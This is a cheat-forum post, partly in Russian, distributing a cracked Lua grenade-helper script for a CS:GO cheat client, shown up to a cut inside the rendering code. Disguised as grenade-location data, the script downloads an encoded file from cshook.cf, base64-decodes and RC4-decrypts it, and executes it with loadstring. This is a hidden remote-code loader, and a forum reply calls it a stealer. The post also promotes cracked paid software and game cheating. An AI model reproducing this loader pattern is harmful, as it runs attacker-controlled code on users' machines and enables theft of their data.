LUA скрипт [NL] Sugar Helper Leaked by whir [SRC]

Начинающий
Статус
Оффлайн
Регистрация
12 Мар 2020
Сообщения
30
Реакции[?]
3
Поинты[?]
0
superior paste by suga and ZAPE locs are will be automatically updated by them
this crap costs 10euro lol​




найс стиллак братух/nc stealer you got my friend
Пожалуйста, авторизуйтесь для просмотра ссылки.


4:19
Пожалуйста, авторизуйтесь для просмотра ссылки.

4:20
Пожалуйста, авторизуйтесь для просмотра ссылки.





Код:
local menu_elements =
{
    autostrafe = g_Config:FindVar("Miscellaneous", "Main", "Movement", "Auto Strafe"),
    autostrafe_smooth = g_Config:FindVar("Miscellaneous", "Main", "Movement", "Smoothing"),
}

local lua_elements =
{
     nade_helper = menu.Switch("Helper", "Enable Helper", false),
     nade_helper_nades = menu.MultiCombo("Helper", "Nades", {"HeGrenade", "Molotov"}, 0),
     nade_helper_fov = menu.SliderInt("Helper", "FOV", 40, 1, 180),

     user_name = cheat.GetCheatUserName(),
     screensize = g_EngineClient:GetScreenSize(),
     text1 = menu.Text("Info", "cracked by whir#3212"),
     text2 = menu.Text("Info", "https://discord.gg/YQ2SwRWshx"),
     text3 = menu.Text("Info", "Locations are updated automatically"),
     text3 = menu.Text("Info", "JEEPIEX PASTED LMFAO")
}

local color_picker = menu.ColorEdit("Colors", "Text Color", Color.new(1.0, 1.0, 1.0, 1.0), "Text color")
local color_picker1 = menu.ColorEdit("Colors", "Icon Color", Color.new(1.0, 1.0, 1.0, 1.0), "Icon color")
local color_picker2 = menu.ColorEdit("Colors", "Background Color", Color.new(1.0, 1.0, 1.0, 1.0), "Background color")
local color_picker3 = menu.ColorEdit("Colors", "Circle Color", Color.new(1.0, 1.0, 1.0, 1.0), "Circle color")

local misc_elements =
{
     enable_firstpersonnade = menu.Switch("Misc", "First person on grenade", false),
     disable_fakelag = menu.Switch("Misc", "Disable fake-lag on grenade", false, "Recommend to enable"),
     fps_boost = menu.Switch("Misc", "Fps boost", false, "If you need"),
}

local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

local function decode(data)
  data = string.gsub(data, '[^'..b..'=]', '')
  return (data:gsub('.', function(x)
    if (x == '=') then return '' end
    local r,f='',(b:find(x)-1)
    for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
    return r;
  end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
    if (#x ~= 8) then return '' end
    local c=0
    for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
    return string.char(c)
  end))
end


local string_byte = string.byte
local string_char = string.char
local string_len = string.len
local bit_bxor = bit.bxor
local table_concat = table.concat

local function initialize(key)
    local S = {}
    local keyLen = string_len(key)

    for i = 0, 255 do
        S[i] = i
    end

    local j = 0
    for i = 0, 255 do
        j = (j + S[i] + string_byte(key, i % keyLen + 1)) % 256
        S[i], S[j] = S[j], S[i]
    end

    return S
end

local function generatestream(S, len)
    local i, j = 0, 0
    local keystream = {}

    for k = 1, len do
        i = (i + 1)    % 256
        j = (j + S[i])    % 256
    
        S[i], S[j] = S[j], S[i]
        keystream[k] = S[(S[i] + S[j]) % 256]
    end

    return keystream
end

local function crypt(key, msg)
    local ciphertext = {}
    local msgLen = string_len(msg)

    local keystream = generatestream(initialize(key), msgLen)

    for i = 1, msgLen do
        ciphertext[i] = string_char(bit_bxor(string_byte(msg, i), keystream[i]))
    end

    return table_concat(ciphertext)
end

local sas = decode(http.Get("http://cshook.cf/message.txt"))
local key = "1337"
local dec = crypt(key, sas)


local font = g_Render:InitFont("Calibri", 11)
local stik = g_Render:InitFont("Calibri", 10)
local arr = g_Render:InitFont("Calibri", 8)
local fontdesc = g_Render:InitFont("Smallest Pixel-7", 9)


local math_helpers =
{
     normalizeangles = function(self, ang)
          if(ang.pitch > 180.0) then ang.pitch = ang.pitch - 360.0 end
          if(ang.yaw > 180.0) then ang.yaw = ang.yaw - 360.0 end
          return ang
     end,

     normalizefloat = function(self, ang)
          if(ang > 180.0) then ang = ang - 360.0 end
          if(ang < -180.0) then ang = ang + 360.0 end
          return ang
     end,

     calcangle = function(self, src, dst)
          local vecdelta = Vector.new(dst.x - src.x, dst.y - src.y, dst.z - src.z)
          local angles = QAngle.new(math.atan2(-vecdelta.z, vecdelta:Length2D()) * 180.0 / math.pi, (math.atan2(vecdelta.y, vecdelta.x) * 180.0 / math.pi), 0.0)
          return angles
     end,

     lerp = function(self, start, vend, time)
          return start + (vend - start) * time
     end,

     clamp = function(self, val, min, max)
          if(val > max) then
               val = max
          elseif(val < min) then
               val = min
          end
          return val
     end,

     pointinscreen = function(self, point)
          if(point.x > 0 and point.x < lua_elements.screensize.x and point.y > 0 and point.y < lua_elements.screensize.x) then
               return true
          else
               return false
          end
     end,

     boxinscreen = function(self, max, min)
          if(min.x > 0 and min.x < lua_elements.screensize.x and min.y > 0 and max.y < lua_elements.screensize.x and max.x > 0 and max.x < lua_elements.screensize.x and max.y > 0 and max.y < lua_elements.screensize.x) then
               return true
          else
               return false
          end
     end,

     TIME_TO_TICKS = function(self, time)
          return math.floor(time / g_GlobalVars.interval_per_tick + 0.5)
     end,

     TICKS_TO_TIME = function(self, tick)
          return tick * g_GlobalVars.interval_per_tick
     end,

     on_prediction = function(self, cmd)
          local localplayer = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer())
          if(localplayer == nil or self.closest_spot == nil) then return end
          localplayer = localplayer:GetPlayer()
          local origin = localplayer:GetProp("DT_BaseEntity", "m_vecOrigin")
          local vecdelta = (self.closest_spot.pos - origin)
          local distance = #vecdelta
          local v1 = bit.band(cmd.buttons, 8) == 8
          local v2 = bit.band(cmd.buttons, 16) == 16
          local v3 = bit.band(cmd.buttons, 512) == 512
          local v4 = bit.band(cmd.buttons, 1024) == 1024
          local in_move = (v1 or v2 or v3 or v4)
          if(in_move == false and self.in_run == false) then
               if(distance > 0.01) then
                    local viewangles = g_EngineClient:GetViewAngles()
                    local direction = cheat.VectorToAngle(vecdelta)
                    direction.yaw = viewangles.yaw - direction.yaw
                    local move = cheat.AngleToForward(direction)
                    cmd.forwardmove = move.x * (450.0 * (math.exp(math_helpers:clamp(distance, 0.0, 5.0) - 5.0)) - 2.0)
                    cmd.sidemove = move.y * (450.0 * (math.exp(math_helpers:clamp(distance, 0.0, 5.0) - 5.0)) - 2.0)
               else
                    self.in_run = true
                    self.cmd_number = 1
               end
          end
     end,

     on_createmove = function(self, cmd)
          if(self.in_run == true) then
               cmd.buttons = self.closest_spot[self.cmd_number].bb
               cmd.forwardmove = self.closest_spot[self.cmd_number].fwd
               cmd.sidemove = self.closest_spot[self.cmd_number].sd
               cmd.viewangles.pitch = self.closest_spot[self.cmd_number].pitch
               cmd.viewangles.yaw = self.closest_spot[self.cmd_number].yaw
               cmd.weaponselect = self.closest_spot[self.cmd_number].wpnslt
               self.cmd_number = self.cmd_number + 1
               if(self.cmd_number > #self.closest_spot) then
                    self.in_run = false
               end   
          end
     end,
}
local grenade_helper =
{
     maps = loadstring("return {" .. dec .. "}")(),

     custom_maps = {},
     nade_type =
     {
          ["44"] = "HeGrenade",
          ["46"] = "Molotov",
          ["45"] = "Smoke",
          ["43"] = "FlashBang",
     },
     menu_nades =
     {
          ["44"] = 0,
          ["46"] = 1,
          ["45"] = 2,
          ["43"] = 3,
     },
     config_names =
     {
          "Custom",
     },
     movedirections =
     {
          [0] = 0,
          [1] = 180,
          [2] = 90,
          [3] = -90,
     },
     closest_nade = nil,
     closest_nade_position = Vector.new(0, 0, 0),
     render_stuff = {},
     should_throw = false,

     run_tick = 0,
     jump_tick = 0,

     old_autostrafe_smooth = 0,
     old_autostrafe = false,
     doubletap_call = true,
     old_doubletap = false,

     create_nade_map = "",
     create_nade_weaponid = "",

     init_ang = QAngle.new(0, 0, 0),
     init_pos = Vector.new(0, 0, 0),

     load_time = utils.UnixTime(),

     strafe_backup_direction = 0,
     strafe_backup_button = 0,
     strafe_backup_tick = 0,
     strafe_backup_duration = 0,

     force_forward = false,
     force_forward_yaw_direction = 0.0,
     extend_forward = function(self, cmd)
          if(self.force_forward == true) then
               local localplayer = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer())
               if(localplayer == nil) then return end
               localplayer = localplayer:GetPlayer()
               local weapon = localplayer:GetActiveWeapon()
               if(weapon == nil) then return end
               if(weapon:IsGrenade() == false) then return end
               local throwtime = weapon:GetProp("DT_BaseCSGrenade", "m_fThrowTime")
               local curtime = localplayer:GetProp("DT_BasePlayer", "m_nTickBase") * g_GlobalVars.interval_per_tick
               local direction = 0
               if(self.closest_nade.movedirection == 2) then
                    direction = -45
               elseif(self.closest_nade.movedirection == 3) then
                    direction = 45
               end
               local movedirection = cmd.viewangles.yaw - (self.closest_nade.ang.yaw + direction)
               local move = cheat.AngleToForward(QAngle.new(0, movedirection, 0))
               cmd.forwardmove = move.x * 450.0
               cmd.sidemove = move.y * 450.0
          end
     end,

     on_backupstrafe = function(self)
          if(lua_elements.backup_direction:GetInt() > 0) then
               lua_elements.backup_strafe_duration:SetVisible(true)
          else
               lua_elements.backup_strafe_duration:SetVisible(false)
          end
     end,

     on_properties = function(self)
          if(lua_elements.properties:GetBool(0) == true) then
               lua_elements.run_duration:SetVisible(true)
               lua_elements.run_velocity:SetVisible(true)
               lua_elements.run_direction:SetVisible(true)
               lua_elements.backup_direction:SetVisible(true)
          else
               lua_elements.run_duration:SetVisible(false)
               lua_elements.run_velocity:SetVisible(false)
               lua_elements.run_direction:SetVisible(false)
               lua_elements.backup_direction:SetVisible(false)
               lua_elements.backup_strafe_duration:SetVisible(false)

               lua_elements.run_duration:SetInt(0)
               lua_elements.run_velocity:SetFloat(0)
               lua_elements.run_direction:SetInt(0)
               lua_elements.backup_direction:SetInt(0)
               lua_elements.backup_strafe_duration:SetInt(0)
          end
          if(lua_elements.properties:GetBool(1) == true) then
               lua_elements.jump_duration:SetVisible(true)
               lua_elements.jump_thresthold:SetVisible(true)
          else
               lua_elements.jump_duration:SetVisible(false)
               lua_elements.jump_thresthold:SetVisible(false)

               lua_elements.jump_duration:SetInt(0)
               lua_elements.jump_thresthold:SetInt(0)
          end
     end,

     backup_strafe = function(self, cmd)
          if(cmd.tick_count - self.strafe_backup_tick <= self.strafe_backup_duration and cmd.tick_count - self.strafe_backup_tick >= 0) then
               local movedirection = self.strafe_backup_direction
               local move = cheat.AngleToForward(QAngle.new(0, cmd.viewangles.yaw - movedirection, 0))
               cmd.forwardmove = move.x * 450.0
               cmd.sidemove = move.y * 450.0
               if(cmd.tick_count - self.strafe_backup_tick == self.strafe_backup_duration) then
                    menu_elements.autostrafe_smooth:SetInt(self.old_autostrafe_smooth)
               end
          end
     end,

     setup_backup_strafe = function(self, cmd)
          if(self.closest_nade.backupdirection ~= 0) then
               self.old_autostrafe_smooth = menu_elements.autostrafe_smooth:GetInt()
               menu_elements.autostrafe_smooth:SetInt(0)
               self.strafe_backup_tick = cmd.tick_count
               self.strafe_backup_duration = self.closest_nade.backupduration
               self.strafe_backup_direction = (self.closest_nade.ang.yaw + self.movedirections[self.closest_nade.backupdirection - 1])
          end
     end,

     on_nade_update = function(self)
          local localplayer = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer())
          if(localplayer == nil) then return end
          localplayer = localplayer:GetPlayer()
          local origin = localplayer:GetProp("DT_BaseEntity", "m_vecOrigin")
          local viewangles = g_EngineClient:GetViewAngles()
          self.init_pos = Vector.new(origin.x, origin.y, origin.z)
          lua_elements.pitch_slider:SetFloat(viewangles.pitch)
          lua_elements.yaw_slider:SetFloat(viewangles.yaw)
     end,

     update_configs = function(self)
          if(utils.UnixTime() - self.load_time >= 2) then
               self.load_time = utils.UnixTime()
               end
     end,
     on_draw = function(self)
          if(self.maps[self.create_nade_map] and self.maps[self.create_nade_map][self.create_nade_weaponid] and self.maps[self.create_nade_map][self.create_nade_weaponid][1]) then
               self.init_ang.pitch = lua_elements.pitch_slider:GetFloat()
               self.init_ang.yaw = lua_elements.yaw_slider:GetFloat()
               self.maps[self.create_nade_map][self.create_nade_weaponid][1] = {pos = self.init_pos, [lua_elements.nade_name:GetString()] = {ang = self.init_ang, runduration = lua_elements.run_duration:GetInt(), speed = lua_elements.run_velocity:GetFloat(), jumpduration = lua_elements.jump_duration:GetInt(), jumpthresthold = lua_elements.jump_thresthold:GetInt(), strength = lua_elements.throw_strengh:GetFloat() / 100.0, duck = lua_elements.properties:GetBool(2), jump = lua_elements.properties:GetBool(1), description = lua_elements.nade_description:GetString(), movedirection = lua_elements.run_direction:GetInt(), backupdirection = lua_elements.backup_direction:GetInt(), backupduration = lua_elements.backup_strafe_duration:GetInt(), extendforward = lua_elements.extend_forward_strenght:GetBool(),}}
          end
          local localplayer = g_EntityList:GetClientEntity(g_EngineClient:GetLocalPlayer())
          if(localplayer == nil) then return end

          local map = g_EngineClient:GetLevelNameShort()
          self.closest_nade_position = nil
          if(self.should_throw == false) then self.closest_nade = nil end

          localplayer = localplayer:GetPlayer()
          local vecOrigin = localplayer:GetProp("DT_BaseEntity", "m_vecOrigin")
          local vecEyePosition = localplayer:GetEyePosition()
          local angViewAngles = g_EngineClient:GetViewAngles()
          local weapon = localplayer:GetActiveWeapon()
          local screencenter = Vector2.new(lua_elements.screensize.x / 2, lua_elements.screensize.y / 2)
          if(weapon == nil) then return end
          local weapon_id = weapon:GetWeaponID()
          if(weapon_id == 48) then weapon_id = 46 end
          if(weapon_id == 47) then return end

          local map_list = self.maps[map]
          local nade_list = nil
          if(map_list) then nade_list = map_list[tostring(weapon_id)] end

          if(weapon:IsGrenade() == false) then
               if(self.should_throw == true) then
                    menu_elements.autostrafe:SetBool(self.old_autostrafe)
                    menu_elements.autostrafe_smooth:SetInt(self.old_autostrafe_smooth)
               end
               self.closest_nade = nil
               self.closest_nade_position = nil
               self.should_throw = false
               self.has_strength = false
               self.has_duck = true
               self.run_tick = 0
               self.jump_tick = 0
               if(map_list) then
                    for nade_type, list in pairs(map_list) do
                         for startname, startspot in pairs(list) do
                         if(self.render_stuff[startname]) then
                              self.render_stuff[startname].global_alpha = 0.0
                              self.render_stuff[startname].text_alpha = 0.0
                              self.render_stuff[startname].icon_alpha = 0.0
                              self.render_stuff[startname].box_length = 16.0
                              self.render_stuff[startname].box_height = 16.0
                              self.render_stuff[startname].box_additions_alpha = 0.0
                         end
                         for endname, endspot in pairs(startspot) do
                              if(type(endspot) == "table") then
                                   if(self.render_stuff[startname] and self.render_stuff[startname][endname]) then
                                        self.render_stuff[startname][endname].global_alpha = 0.0
                                        self.render_stuff[startname][endname].text_alpha = 0.0
                                        self.render_stuff[startname][endname].box_length = 10.0
                                        self.render_stuff[startname][endname].description_box_height = 0.0
                                        self.render_stuff[startname][endname].description_text_alpha = 0.0
                                   end
                              end
                         end
                         end
                    end
               end
               for i = 1, 1 do
                    if(self.custom_maps[i] == true) then
                         for startname, startspot in pairs(self.custom_maps[i]) do
                         if(map == startspot.map) then
                              if(self.render_stuff[startname]) then
                                   self.render_stuff[startname].global_alpha = 0.0
                                   self.render_stuff[startname].text_alpha = 0.0
                                   self.render_stuff[startname].icon_alpha = 0.0
                                   self.render_stuff[startname].box_length = 16.0
                                   self.render_stuff[startname].box_height = 16.0
                                   self.render_stuff[startname].box_additions_alpha = 0.0                       
                              end
                              for endname, endspot in pairs(startspot) do
                                   if(type(endspot) == "table") then
                                        if(self.render_stuff[startname] and self.render_stuff[startname][endname]) then
                                             self.render_stuff[startname][endname].global_alpha = 0.0
                                             self.render_stuff[startname][endname].text_alpha = 0.0
                                             self.render_stuff[startname][endname].box_length = 10.0
                                             self.render_stuff[startname][endname].description_box_height = 0.0
                                             self.render_stuff[startname][endname].description_text_alpha = 0.0
                                        end
                                   end
                              end
                         end
                         end
                    end
               end 
               return
          end

          local color = color_picker:GetColor()
            local color1 = color_picker1:GetColor()
            local color2 = color_picker2:GetColor()
            local color3 = color_picker3:GetColor()
      
          local color_set = {
                body_r = 0.0,
                body_g = 0.0,
                body_b = 0.0,
                target_r = 0.03,
                target_g = 0.03,
                target_b = 0.05,
                gradient_line_r = 0.027,
                gradient_line_g = 0.2,
                gradient_line_b = 0.3,
                text_color_r = color:r(),
                text_color_g = color:g(),
                text_color_b = color:b(),
            }
          
               local color_set_icon = {
                body_r = 0.0,
                body_g = 0.0,
                body_b = 0.0,
                target_r = 0.03,
                target_g = 0.03,
                target_b = 0.05,
                gradient_line_r = 0.027,
                gradient_line_g = 0.2,
                gradient_line_b = 0.3,
                icon_color_r = color1:r(),
                icon_color_g = color1:g(),
                icon_color_b = color1:b(),
            }

               local color_set_background = {
                body_r = color2:r(),
                body_g = color2:g(),
                body_b = color2:b(),
                target_r = color2:r(),
                target_g = color2:g(),
                target_b = color2:b(),
                gradient_line_r = color2:r(),
                gradient_line_g = color2:g(),
                gradient_line_b = color2:b(),
                background_color_r = color2:r(),
                background_color_g = color2:g(),
                background_color_b = color2:b(),
            }

               local ggalpha = color2:a();

               local color_set_circle = {
                body_r = 0.0,
                body_g = 0.0,
                body_b = 0.0,
                target_r = 0.03,
                target_g = 0.03,
                target_b = 0.05,
                gradient_line_r = 0.027,
                gradient_line_g = 0.2,
                gradient_line_b = 0.3,
                circle_color_r = color3:r(),
                circle_color_g = color3:g(),
                circle_color_b = color3:b(),
            }
      
      
          local bestdistance = 100.0
          local temp_nade = nil

          if(nade_list) then
               for startname, startspot in pairs(nade_list) do
                    if not ((lua_elements.nade_helper_nades:GetBool(self.menu_nades[tostring(weapon_id)]) == false) and startname ~= 1) then
                    local distance = vecOrigin:DistTo(startspot.pos)
                    if(distance < 100.0 and distance < bestdistance) then
                         if(self.should_throw == false) then self.closest_nade_position = startspot.pos end
                         bestdistance = distance
                         temp_nade = startspot
                    end
               end
          end
     end

          for i = 1, 1 do
               if(self.custom_maps[i] == true) then
                    for createtime, startspot in pairs(self.custom_maps[i]) do
                         if(map == startspot.map) then
                         if(tostring(weapon_id) == startspot.type and lua_elements.nade_helper_nades:GetBool(self.menu_nades[startspot.type]) == true) then
                              local distance = vecOrigin:DistTo(startspot.pos)
                              if(distance < 100.0 and distance < bestdistance) then
                                   if(self.should_throw == false) then self.closest_nade_position = startspot.pos end
                                   bestdistance = distance
                                   temp_nade = startspot
                              end
                         end
                         end
                    end
               end
          end
      
          if(nade_list) then
               for startname, startspot in pairs(nade_list) do
                    if not ((lua_elements.nade_helper_nades:GetBool(self.menu_nades[tostring(weapon_id)]) == false) and startname ~= 1) then
                    if(self.render_stuff[startname] == nil) then self.render_stuff[startname] = {} end
                    if(self.render_stuff[startname].global_alpha == nil) then self.render_stuff[startname].global_alpha = 0.0 end
                    if(self.render_stuff[startname].box_length == nil) then self.render_stuff[startname].box_length = 30.0 end
                    if(self.render_stuff[startname].box_height == nil) then self.render_stuff[startname].box_height = 30.0 end
                    if(self.render_stuff[startname].text_alpha == nil) then self.render_stuff[startname].text_alpha = 0.0 end
                    if(self.render_stuff[startname].icon_alpha == nil) then self.render_stuff[startname].icon_alpha = 0.0 end
                    if(self.render_stuff[startname].box_additions_alpha == nil) then self.render_stuff[startname].box_additions_alpha = 0.0 end

                    local distance = vecOrigin:DistTo(startspot.pos)
                    if(distance > 1750.0) then
                         self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                    else
                         local trace = g_EngineTrace:TraceRay(vecEyePosition, startspot.pos, localplayer, 0x200400B)
                         if(trace.fraction > 0.98) then
                              if(distance > 1250.0) then
                                   self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.4, g_GlobalVars.frametime * 20.0)
                              elseif(distance < 5.0) then
                                   self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 1.0, g_GlobalVars.frametime * 20.0)
                              else
                                   self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.8, g_GlobalVars.frametime * 20.0)
                              end
                         else
                              self.render_stuff[startname].global_alpha = math_helpers:lerp(self.render_stuff[startname].global_alpha, 0.0, g_GlobalVars.frametime * 20.0)
                         end
                    end

                    if not (self.render_stuff[startname].global_alpha < 0.01) then

                    local screenpos = g_Render:ScreenPosition(Vector.new(startspot.pos.x, startspot.pos.y, startspot.pos.z + 10.0))
                    local nade_type_size = g_Render:CalcTextSize(self.nade_type[tostring(weapon_id)], 0)
                    local bestlength = 0
                    local num_spots = 0
                    local temp_fov_nade = nil
                    local temp_fov_name = nil
                    local bestfov = lua_elements.nade_helper_fov:GetInt()

                    for endname, endspot in pairs(startspot) do
                         if(type(endspot) == "table") then
                         local name_size = g_Render:CalcTextSize(endname, 11, font)
                         if(name_size.x > bestlength) then bestlength = name_size.x end

                         if(self.render_stuff[startname][endname] == nil) then self.render_stuff[startname][endname] = {} end
                         if(self.render_stuff[startname][endname].global_alpha == nil) then self.render_stuff[startname][endname].global_alpha = 0.0 end
                         if(self.render_stuff[startname][endname].box_length == nil) then self.render_stuff[startname][endname].box_length = 10.0 end
                         if(self.render_stuff[startname][endname].text_alpha == nil) then self.render_stuff[startname][endname].text_alpha = 0.0 end
                         if(self.render_stuff[startname][endname].circle_color == nil) then self.render_stuff[startname][endname].circle_color = Color.new(0.15, 0.15, 0.15, 0.0) end
                         if(self.render_stuff[startname][endname].description_box_height == nil) then self.render_stuff[startname][endname].description_box_height = 0.0 end
                         if(self.render_stuff[startname][endname].description_text_alpha == nil) then self.render_stuff[startname][endname].description_text_alpha = 0.0 end
          
                         if(endspot.endposition == nil) then
                              local vecStart = Vector.new(startspot.pos.x, startspot.pos.y, startspot.pos.z + 64.0)
                              local forward = cheat.AngleToForward(endspot.ang)
                              local vecEnd = Vector.new(vecStart.x + 800.0 * forward.x, vecStart.y + 800.0 * forward.y, vecStart.z + 800.0 * forward.z)
                              local trace = g_EngineTrace:TraceRay(vecStart, vecEnd, localplayer, 0x46004003)
                              endspot.endposition = Vector.new(trace.endpos.x, trace.endpos.y, trace.endpos.z)
                         end
                         if(endspot.jumpthresthold == nil) then
                              endspot.jumpthresthold = 0
                         end
                         if(endspot.movedirection == nil) then
                              endspot.movedirection = 0
                         end
                         if(endspot.backupdirection == nil) then
                              endspot.backupdirection = 0
                         end
                         if(endspot.backupduration == nil) then
                              endspot.backupduration = 1
                         end
                         if(endspot.extendforward == nil) then
                              endspot.extendforward = false
                         end
          
                         local angles = math_helpers:normalizeangles(math_helpers:calcangle(vecEyePosition, endspot.endposition))
                         local fov = math.sqrt((angles.pitch - angViewAngles.pitch) ^ 2 + (angles.yaw - angViewAngles.yaw) ^ 2)
                         fov = math_helpers:normalizefloat(fov)
                         fov = math.abs(fov)
          
                         if(fov < bestfov and distance <= 50.0 and startspot == temp_nade) then
                              bestfov = fov
                              temp_fov_nade = endspot
                              temp_fov_name = endname
                              if(self.should_throw == false) then self.closest_nade = endspot end
                         end
                         num_spots = num_spots + 1
                         end
                    end

                    for endname, endspot in pairs(startspot) do
                         if not (type(endspot) ~= "table" or endspot == temp_fov_nade) then
      
                         local screenpos = g_Render:ScreenPosition(endspot.endposition)
                         local name_size = g_Render:CalcTextSize(endname, 11, font)
      
                         local r = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:r(), 0.3, g_GlobalVars.frametime * 15.0)
                         local g = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:g(), 0.3, g_GlobalVars.frametime * 15.0)
                         local b = math_helpers:lerp(self.render_stuff[startname][endname].circle_color:b(), 0.3, g_GlobalVars.frametime * 15.0)

                         local desired_box_length = name_size.x + 20

                         if(endspot.description and string.len(endspot.description) > 0) then
                         local desc_size = g_Render:CalcTextSize(endspot.description, 9, fontdesc)
                         desired_box_height = 16
                         if(self.render_stuff[startname][endname].description_text_alpha > 0.01) then desired_box_length = math.max(desired_box_length, desc_size.x) end
                         end

                         self.render_stuff[startname][endname].description_text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].description_text_alpha, 0.0, g_GlobalVars.frametime * 60.0)

                         if(distance > 50.0 or startspot ~= temp_nade) then
                         self.render_stuff[startname][endname].text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].text_alpha, 0.0, g_GlobalVars.frametime * 60.0)
                         if(self.render_stuff[startname][endname].text_alpha < 0.01) then
                              self.render_stuff[startname][endname].box_length = math_helpers:lerp(self.render_stuff[startname][endname].box_length, 10.0, g_GlobalVars.frametime * 30.0)
                              self.render_stuff[startname][endname].description_box_height = math_helpers:lerp(self.render_stuff[startname][endname].description_box_height, 0.0, g_GlobalVars.frametime * 30.0)
                              if(self.render_stuff[startname][endname].box_length - 10.0 < 0.1 and self.render_stuff[startname][endname].description_box_height < 0.1) then
                                   self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 0.0, g_GlobalVars.frametime * 60.0)
                              end
                         end
                         else
                         if(screenpos.x + self.render_stuff[startname][endname].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                              self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 1.0, g_GlobalVars.frametime * 60.0)
                         else
                              self.render_stuff[startname][endname].global_alpha = math_helpers:lerp(self.render_stuff[startname][endname].global_alpha, 0.6, g_GlobalVars.frametime * 60.0)
                         end
                         if(self.render_stuff[startname][endname].global_alpha > 0.58) then
                              self.render_stuff[startname][endname].box_length = math_helpers:lerp(self.render_stuff[startname][endname].box_length, desired_box_length, g_GlobalVars.frametime * 30.0)
                              if(desired_box_length - self.render_stuff[startname][endname].box_length < 0.1) then
                                   self.render_stuff[startname][endname].text_alpha = math_helpers:lerp(self.render_stuff[startname][endname].text_alpha, self.render_stuff[startname][endname].global_alpha, g_GlobalVars.frametime * 60.0)
                                   if(self.render_stuff[startname][endname].description_text_alpha < 0.01) then
                                        self.render_stuff[startname][endname].description_box_height = math_helpers:lerp(self.render_stuff[startname][endname].description_box_height, 0.0, g_GlobalVars.frametime * 60.0)
                                   end
                              end
                         end
                         end
                         self.render_stuff[startname][endname].circle_color = Color.new(r, g, b, self.render_stuff[startname][endname].global_alpha)
                         if not (self.render_stuff[startname][endname].global_alpha < 0.01) then

                         if(screenpos.x + self.render_stuff[startname][endname].box_length + 2 > lua_elements.screensize.x or screenpos.x < 12 or screenpos.y + 10 > lua_elements.screensize.y or screenpos.y < 10) then
                              local vecdelta = Vector2.new(screenpos.x - screencenter.x, screenpos.y - screencenter.y)
                              local length = #vecdelta
                              local cos = vecdelta.x / length
                              local sin = vecdelta.y / length
                              local max_legnth = #screencenter

                              local newpos = Vector2.new(screencenter.x + max_legnth * cos, screencenter.y + max_legnth * sin)
                              if(newpos.x + self.render_stuff[startname][endname].box_length > lua_elements.screensize.x) then newpos.x = lua_elements.screensize.x - self.render_stuff[startname][endname].box_length - 18
                              elseif(newpos.x < 16) then newpos.x = 28 end
                              if(newpos.y + 16 > lua_elements.screensize.y) then newpos.y = lua_elements.screensize.y - 28
                              elseif(newpos.y < 16) then newpos.y = 28 end

                              screenpos = newpos
                         end
                         g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y - 8), Vector2.new(screenpos.x + self.render_stuff[startname][endname].box_length, screenpos.y + 8), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))
                         g_Render:Text(endname, Vector2.new(screenpos.x + 18, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 11, font, true)
                         g_Render:Text("|", Vector2.new(screenpos.x + 5, screenpos.y - name_size.y / 2 + 1), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 10, stik, true)
                         g_Render:Text(">>", Vector2.new(screenpos.x + 9, screenpos.y - name_size.y / 2 - 2), Color.new(color_set.text_color_r, color_set.text_color_g, color_set.text_color_b, self.render_stuff[startname][endname].text_alpha), 8, arr, true)
                         g_Render:BoxFilled(Vector2.new(screenpos.x - 10, screenpos.y + 8), Vector2.new(screenpos.x + self.render_stuff[startname][endname].box_length, screenpos.y + 8 + self.render_stuff[startname][endname].description_box_height), Color.new(color_set_background.body_r, color_set_background.body_g, color_set_background.body_b, ggalpha))

                         g_Render:CircleFilled(screenpos, 5, 15, Color.new(0.39, 0.39, 0.39, self.render_stuff[startname][endname].global_alpha))
                         g_Render:Circle(screenpos, 5, 15, Color.new(0.1, 0.1, 0.1, self.render_stuff[startname][endname].global_alpha))
      
                    end
               end
          end

                    if(temp_fov_nade) then
                         local screenpos = g_Render:ScreenPosition(temp_fov_nade.endposition)
                         local name_size = g_Render:CalcTextSize(temp_fov_name, 11, font)
          
                         local r = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:r(), 0.25, g_GlobalVars.frametime * 15.0)
                         local g = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:g(), 0.65, g_GlobalVars.frametime * 15.0)
                         local b = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].circle_color:b(), 0.25, g_GlobalVars.frametime * 15.0)

                         self.render_stuff[startname][temp_fov_name].global_alpha = math_helpers:lerp(self.render_stuff[startname][temp_fov_name].global_alpha, 0.9, g_GlobalVars.frametime * 30.0)
                         self.render_stuff[startname][temp_fov_name].circle_color = Color.new(r, g, b, self.render_stuff[startname][temp_fov_name].global_alpha)

                         local desired_box_length = name_size.x + 20
                         local desired_box_height = 0
                    
                         if(temp_fov_nade.description and string.len(temp_fov_nade.description) > 0) then
